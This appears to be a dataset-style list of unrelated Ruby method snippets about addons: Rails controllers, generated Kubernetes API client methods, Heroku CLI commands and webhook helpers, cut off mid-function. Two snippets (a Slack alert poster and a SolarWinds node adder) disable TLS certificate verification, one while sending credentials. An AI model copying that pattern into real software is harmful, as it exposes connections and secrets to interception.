"def create\n @addon_list_item = AddonListItem.new(product_add_on_list_item_params)\n\n respond_to do |format|\n if @addon_list_item.save\n format.html { redirect_to @addon_list_item, notice: 'Product add on list item was successfully created.' }\n format.json { render :show, status: :created, location: @addon_list_item }\n else\n format.html { render :new }\n format.json { render json: @addon_list_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def postEntityYext_list( entity_id, yext_list_id, description, name, type)\n params = Hash.new\n params['entity_id'] = entity_id\n params['yext_list_id'] = yext_list_id\n params['description'] = description\n params['name'] = name\n params['type'] = type\n return doCurl(\"post\",\"/entity/yext_list\",params)\n end",
"def create\n @user_addon = UserAddon.new(params[:user_addon])\n\n respond_to do |format|\n if @user_addon.save\n format.html { redirect_to([:scaffold, @user_addon], :notice => 'User addon was successfully created.') }\n format.xml { render :xml => @user_addon, :status => :created, :location => @user_addon }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_addon.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def get_kubernetes_addon_definition_by_moid_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.get_kubernetes_addon_definition_by_moid ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.get_kubernetes_addon_definition_by_moid\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonDefinitions/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesAddonDefinition'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.get_kubernetes_addon_definition_by_moid\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#get_kubernetes_addon_definition_by_moid\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def list_addons\n Dir.glob(\"/var/lib/apollo/addons/*.gem\")\n end",
"def addons_combo_params\n params.require(:addons_combo).permit(:addon_id, :combo_id, :quantity, :price, :active)\n end",
"def index\n @addons_combos = AddonsCombo.all\n end",
"def create\n @add_on = @game.add_ons.new(add_on_params)\n\n respond_to do |format|\n if @add_on.save\n format.html { redirect_to @game, notice: 'Add on was successfully created.' }\n format.json { render :show, status: :created, location: @add_on }\n else\n format.html { render :new }\n format.json { render json: @add_on.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @hook = Hook.new(params[:hook])\n @hook.save\n respond_with(@hook)\n end",
"def set_addon\n @addon_list_item = AddonListItem.find(params[:id])\n end",
"def post_slack available_licenses\n\n proxy_addr = 'proxy-corp-apps.intranet'\n proxy_port = 80\n\n url = URI(\"https://hooks.slack.com/services/..../.../xxxxxxxxx\")\n\n http = Net::HTTP.new(url.host, url.port, proxy_addr, proxy_port)\n\thttp.use_ssl = true\n\thttp.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n if available_licenses <=50\n \tpriority = 'danger'\n else\n \tpriority = 'warning' \t\n end\n\n\trequest = Net::HTTP::Post.new(url)\n\trequest[\"content-type\"] = 'application/json'\n\trequest[\"cache-control\"] = 'no-cache'\n\trequest.body = \"{\\n\\n \n\t\t\t\t\t\t\\\"channel\\\":\\\"#sistemas-base-monit\\\",\\n \n\t\t\t\t\t\t\\\"username\\\":\\\"Bitbucket Alert\\\",\\n \n\t\t\t\t\t\t\\\"icon_url\\\":\\\"https://avatars.slack-edge.com/2018-12-05/00000_0000_0.png\\\",\\n \n\t\t\t\t\t\t\\\"attachments\\\": [\\n \n\t\t\t\t\t\t\t{\\n \n\t\t\t\t\t\t\t\t\\\"fallback\\\": \\\"Licenças disponíveis\\\",\\n \n\t\t\t\t\t\t\t\t\\\"pretext\\\": \\\"Bitbucket\\\",\\n \n\t\t\t\t\t\t\t\t\\\"title\\\": \\\"Licenças disponíveis\\\",\\n \n\t\t\t\t\t\t\t\t\\\"text\\\": \\\"<!channel> Atualmente temos #{available_licenses} licenças disponíveis\\\",\\n \n\t\t\t\t\t\t\t\t\\\"color\\\": \\\"#{priority}\\\"\\n \n\t\t\t\t\t\t\t}\\n \n\t\t\t\t\t\t]\\n\n\t\t\t\t\t}\"\n\n\tresponse = http.request(request)\nend",
"def create\n @invoice_addon_line_item = InvoiceAddonLineItem.new(invoice_addon_line_item_params)\n\n respond_to do |format|\n if @invoice_addon_line_item.save\n format.html { redirect_to @invoice_addon_line_item.invoice, notice: 'Invoice addon line item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @invoice_addon_line_item }\n else\n format.html { render action: 'new' }\n format.json { render json: @invoice_addon_line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def enable\n request = Net::HTTP::Post.new(\"/proxies/#{name}\")\n request[\"Content-Type\"] = \"application/json\"\n\n hash = { enabled: true }\n request.body = hash.to_json\n\n response = http_request(request)\n assert_response(response)\n self\n end",
"def create\n @extension_line = ExtensionLine.new(params[:extension])\n\n respond_to do |format|\n if @extension.save\n format.html { redirect_to [:admin, @extension_line], notice: 'Extension Line was successfully created.' }\n format.json { render json: @extension_line, status: :created, location: @extension_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @extension_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group_addon_list = GroupAddonList.new(group_add_on_list_params)\n\n respond_to do |format|\n if @group_addon_list.save\n format.html { redirect_to @group_addon_list, notice: 'Product group add on list was successfully created.' }\n format.json { render :show, status: :created, location: @group_addon_list }\n else\n format.html { render :new }\n format.json { render json: @group_addon_list.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_aos_version_box(args = {}) \n post(\"/aosversions.json/aosversionbox\", args)\nend",
"def add_arrays_to_tenant(args = {}) \n post(\"/tenants.json/#{args[:tenantId]}/arrays\", args)\nend",
"def open\n addon = args.shift\n app_addons = heroku.installed_addons(app).map { |a| a[\"name\"] }\n matches = app_addons.select { |a| a =~ /^#{addon}/ }\n\n case matches.length\n when 0 then\n if heroku.addons.any? {|a| a['name'] =~ /^#{addon}/ }\n error \"Addon not installed: #{addon}\"\n else\n error \"Unknown addon: #{addon}\"\n end\n when 1 then\n addon_to_open = matches.first\n display \"Opening #{addon_to_open} for #{app}...\"\n Launchy.open \"https://api.#{heroku.host}/myapps/#{app}/addons/#{addon_to_open}\"\n else\n error \"Ambiguous addon name: #{addon}\"\n end\n end",
"def list\n addons = heroku.addons\n if addons.empty?\n display \"No addons available currently\"\n else\n available, beta = addons.partition { |a| !a['beta'] }\n display_addons(available)\n if !beta.empty?\n display \"\\n--- beta ---\"\n display_addons(beta)\n end\n end\n end",
"def patch_kubernetes_addon_repository_with_http_info(moid, kubernetes_addon_repository, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.patch_kubernetes_addon_repository ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.patch_kubernetes_addon_repository\"\n end\n # verify the required parameter 'kubernetes_addon_repository' is set\n if @api_client.config.client_side_validation && kubernetes_addon_repository.nil?\n fail ArgumentError, \"Missing the required parameter 'kubernetes_addon_repository' when calling KubernetesApi.patch_kubernetes_addon_repository\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonRepositories/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(kubernetes_addon_repository)\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesAddonRepository'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.patch_kubernetes_addon_repository\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#patch_kubernetes_addon_repository\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_kubernetes_addon_policy_by_moid_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.get_kubernetes_addon_policy_by_moid ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.get_kubernetes_addon_policy_by_moid\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesAddonPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.get_kubernetes_addon_policy_by_moid\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#get_kubernetes_addon_policy_by_moid\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def activateAddons _args\n \"activateAddons _args;\" \n end",
"def update\n respond_to do |format|\n if @addons_combo.update(addons_combo_params)\n format.html { redirect_to @addons_combo, notice: 'Addons combo was successfully updated.' }\n format.json { render :show, status: :ok, location: @addons_combo }\n else\n format.html { render :edit }\n format.json { render json: @addons_combo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def addhost(config)\n\n uri = URI.parse(\"#{config[\"addurl\"]}\")\n node = { \"EntityType\" => \"Orion.Nodes\", \"IPAddress\" => \"#{config[\"ipaddr\"]}\",\n \"Caption\"=> \"#{config[\"nodename\"]}\", \"DynamicIP\" => \"False\", \"EngineID\" => \"#{config[\"engineid\"]}\", \n \"Status\" => 1, \"UnManaged\" => \"False\", \"Allow64BitCounters\" => \"True\", \n \"SysObjectID\" => \"\", \"MachineType\" => \"\", \"VendorIcon\" => \"\", \n \"ObjectSubType\" => \"SNMP\", \"SNMPVersion\" => 2, \"Community\" => \"#{config[\"community\"]}\",\n }\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Post.new(uri.request_uri, initheader = {'Content-Type' =>'application/json'})\n request.body = node.to_json\n request.basic_auth(\"#{config[\"username\"]}\", \"#{config[\"password\"]}\")\n\n response = http.request(request)\nend",
"def create\n @add_on = AddOn.new(params[:add_on])\n\n respond_to do |format|\n if @add_on.save\n format.html { redirect_to(@add_on, :notice => 'Add on was successfully created.') }\n format.xml { render :xml => @add_on, :status => :created, :location => @add_on }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @add_on.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def register_webhook\n\t\t\t\t\trequire \"open-uri\"\n\t\t\t\t\trequire \"net/http\"\n\t\t\t\t\trequire \"openssl\"\n\n\t\t\t\t\turi = URI.parse(\"#{self.add_on.jive_url}/api/core/v3/webhooks\")\n\t\t\t\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\t\t\t\thttp.use_ssl = true\n\t\t\t\t\t#http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n\t\t\t\t\trequest = Net::HTTP::Post.new(uri.request_uri)\n\n\t\t\t\t\trequest[\"Content-Type\"] = \"application/json\"\n\t\t\t\t\trequest[\"Authorization\"] = \"Bearer #{self.oauth_token.access_token}\"\n\n\t\t\t\t\tbody = {\n\t\t\t\t\t\t\"callback\" => self.callback,\n\t\t\t\t\t\t\"object\" => self.object,\n\t\t\t\t\t}\n\t\t\t\t\tbody[\"events\"] = self.events if !self.events.to_s.empty?\n\n\t\t\t\t\trequest.body = body.to_json\n\n\t\t\t\t\tresponse = http.request(request)\n\n\t\t\t\t\t# Need 2XX status code\n\t\t\t\t\tif !response.code.to_i.between?(200, 299)\n\t\t\t\t\t\terrors[:base] << \"#{request.inspect} => #{response.body}\"\n\t\t\t\t\t\treturn false\n\t\t\t\t\tend\n\n\t\t\t\t\tjson_body = JSON.parse(response.body)\n\n\t\t\t\t\tself.webhook_id = json_body[\"id\"]\n\n\t\t\t\t\ttrue\n\t\t\t\tend",
"def update_kubernetes_addon_repository_with_http_info(moid, kubernetes_addon_repository, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.update_kubernetes_addon_repository ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.update_kubernetes_addon_repository\"\n end\n # verify the required parameter 'kubernetes_addon_repository' is set\n if @api_client.config.client_side_validation && kubernetes_addon_repository.nil?\n fail ArgumentError, \"Missing the required parameter 'kubernetes_addon_repository' when calling KubernetesApi.update_kubernetes_addon_repository\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonRepositories/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(kubernetes_addon_repository)\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesAddonRepository'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.update_kubernetes_addon_repository\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#update_kubernetes_addon_repository\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n @extent = Extent.new(extent_params)\n\n respond_to do |format|\n if @extent.save\n format.html { redirect_to @extent, notice: 'Extent was successfully created.' }\n format.json { render :show, status: :created, location: @extent }\n else\n format.html { render :new }\n format.json { render json: @extent.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_hook(url)\n post(\"/hooks\", :body => {:url => url})\n end",
"def add_item_value_twenty_four\n response_search = Partay.get('http://shoponline.tescolotus.com/api/v1/search/products?query=Sugar&page=1&sortBy=Relevance', :headers => {'Content-Type' => 'application/json', 'language' => 'en-gb', 'region' => 'TH', 'userId' => access_token})\n puts search_result=JSON(response_search['productItems'][0])\n puts productid =JSON(search_result)[\"product\"][\"id\"]\n items_json_responses = {'items' => [{'id'=>'6071448594','oldValue'=>0.0,'oldUnitChoice'=>'pcs','newUnitChoice'=>'pcs','newValue'=>24.0}]}.to_json\n puts items_json_responses\n response = Partay.put('http://shoponline.tescolotus.com/api/v1/trolley/items/', :headers => {'Content-Type' => 'application/json', 'language' => 'en-GB', 'region' => 'TH', 'userId' => access_token}, :body => items_json_responses)\n puts response\n end",
"def index\n \n @store_detail = StoreDetail.find(params[:store_detail_id])\n puts(\"methods are vvv\" ,@store_detail.methods)\n @addons = @store_detail.addons\n \n end",
"def destroy\n @addon.drop\n @addon.save(isinstall: 0)\n respond_to do |format|\n format.html { redirect_to xmt_addons_url, notice: '卸载成功.' }\n format.json { head :no_content }\n end\n end",
"def activatedAddons \n \"activatedAddons\" \n end",
"def patch_kubernetes_addon_policy_with_http_info(moid, kubernetes_addon_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.patch_kubernetes_addon_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.patch_kubernetes_addon_policy\"\n end\n # verify the required parameter 'kubernetes_addon_policy' is set\n if @api_client.config.client_side_validation && kubernetes_addon_policy.nil?\n fail ArgumentError, \"Missing the required parameter 'kubernetes_addon_policy' when calling KubernetesApi.patch_kubernetes_addon_policy\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(kubernetes_addon_policy)\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesAddonPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.patch_kubernetes_addon_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#patch_kubernetes_addon_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def get_kubernetes_addon_repository_by_moid_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.get_kubernetes_addon_repository_by_moid ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.get_kubernetes_addon_repository_by_moid\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonRepositories/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesAddonRepository'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.get_kubernetes_addon_repository_by_moid\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#get_kubernetes_addon_repository_by_moid\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def post(opts)\n client = HTTPClient.new\n path = opts[:path] || \"meta\"\n type = opts[:type] || \"application/vnd.talis.changeset+xml\"\n\n client = HTTPClient.new\n url = \"http://api.talis.com/stores/#{@store}/#{path}\"\n client.set_auth(url, @settings[:user], @settings[:pass]) if @settings[:user]\n result = client.post(url, opts[:content], 'Content-Type' => type)\n unless [200,201,202,204].include?(result.status)\n raise RepositoryError, \"An error occurred while posting to the Talis store: HTTP code #{result.status}, extra info: #{result.body.content}\"\n end\n result.status\n end",
"def create\n lab = Lab.find_by(id: params[:lab_id])\n user_lab = current_user.user_labs.create(lab: lab)\n\n respond_to do |format|\n if user_lab.save\n format.html { redirect_to labs_url , notice: 'Successfully subscribed.' }\n format.json { render :show, status: :created, location: labs_url }\n else\n format.html { render :new }\n format.json { render json: user_lab.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add(params)\n headers = {\n 'Cookie' => @context[:koha_rest_api_cookie],\n 'Content-Type' => 'application/json'\n }\n\n http = Net::HTTP.new(\"xkoha\", 8081)\n uri = URI(intranet(:koha_rest_api) + \"holds\")\n res = http.post(uri, params.to_json, headers)\n expect(res.code).to eq(\"201\"), \"got unexpected #{res.code} when adding hold.\\nResponse body: #{res.body}\"\n res.body\n end",
"def open\n unless addon = shift_argument\n error(\"Usage: heroku addons:open ADDON\\nMust specify ADDON to open.\")\n end\n validate_arguments!\n\n app_addons = api.get_addons(app).body.map {|a| a['name']}\n matches = app_addons.select {|a| a =~ /^#{addon}/}.sort\n\n case matches.length\n when 0 then\n addon_names = api.get_addons.body.map {|a| a['name']}\n if addon_names.any? {|name| name =~ /^#{addon}/}\n error(\"Addon not installed: #{addon}\")\n else\n error([\n \"`#{addon}` is not a heroku add-on.\",\n suggestion(addon, addon_names + addon_names.map {|name| name.split(':').first}.uniq),\n \"See `heroku addons:list` for all available addons.\"\n ].compact.join(\"\\n\"))\n end\n when 1 then\n addon_to_open = matches.first\n launchy(\"Opening #{addon_to_open} for #{app}\", app_addon_url(addon_to_open))\n else\n error(\"Ambiguous addon name: #{addon}\\nPerhaps you meant #{matches[0...-1].map {|match| \"`#{match}`\"}.join(', ')} or `#{matches.last}`.\\n\")\n end\n end",
"def index\n @addon_list_items = AddonListItem.all\n end",
"def create\n @dexterity_mod = DexterityMod.new(dexterity_mod_params)\n\n if @dexterity_mod.save\n render json: @dexterity_mod, status: :created, location: @dexterity_mod\n else\n render json: @dexterity_mod.errors, status: :unprocessable_entity\n end\n end",
"def load_addons\n # load ~/.straight/addons.yml\n addons = YAML.load_file(STRAIGHT_CONFIG_PATH + '/addons.yml')\n addons.each do |name, addon|\n StraightServer.logger.info \"Loading #{name} addon\"\n if addon['path'] # First, check the ~/.straight/addons dir\n require STRAIGHT_CONFIG_PATH + '/' + addon['path']\n else # then assume it's already loaded using rubygems\n require name\n end\n # extending the current server object with the addon\n extend Kernel.const_get(\"StraightServer::Addon::#{addon['module']}\")\n end if addons\n end",
"def patch_kubernetes_addon_definition_with_http_info(moid, kubernetes_addon_definition, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.patch_kubernetes_addon_definition ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.patch_kubernetes_addon_definition\"\n end\n # verify the required parameter 'kubernetes_addon_definition' is set\n if @api_client.config.client_side_validation && kubernetes_addon_definition.nil?\n fail ArgumentError, \"Missing the required parameter 'kubernetes_addon_definition' when calling KubernetesApi.patch_kubernetes_addon_definition\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonDefinitions/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(kubernetes_addon_definition)\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesAddonDefinition'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"KubernetesApi.patch_kubernetes_addon_definition\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: KubernetesApi#patch_kubernetes_addon_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def account_plan_addon_create_with_http_info(account_id, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BillingApi.account_plan_addon_create ...'\n end\n # verify the required parameter 'account_id' is set\n if @api_client.config.client_side_validation && account_id.nil?\n fail ArgumentError, \"Missing the required parameter 'account_id' when calling BillingApi.account_plan_addon_create\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling BillingApi.account_plan_addon_create\"\n end\n # resource path\n local_var_path = '/accounts/{accountId}/plans/addons'.sub('{' + 'accountId' + '}', account_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json', 'multipart/form-data'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = ['OAuth']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BillingApi#account_plan_addon_create\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update_kubernetes_addon_policy_with_http_info(moid, kubernetes_addon_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: KubernetesApi.update_kubernetes_addon_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling KubernetesApi.update_kubernetes_addon_policy\"\n end\n # verify the required parameter 'kubernetes_addon_policy' is set\n if @api_client.config.client_side_validation && kubernetes_addon_policy.nil?\n fail ArgumentError, \"Missing the required parameter 'kubernetes_addon_policy' when calling KubernetesApi.update_kubernetes_addon_policy\"\n end\n # resource path\n local_var_path = '/api/v1/kubernetes/AddonPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(kubernetes_addon_policy)\n\n # return_type\n return_type = opts[:debug_return_type] || 'KubernetesAddonPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n 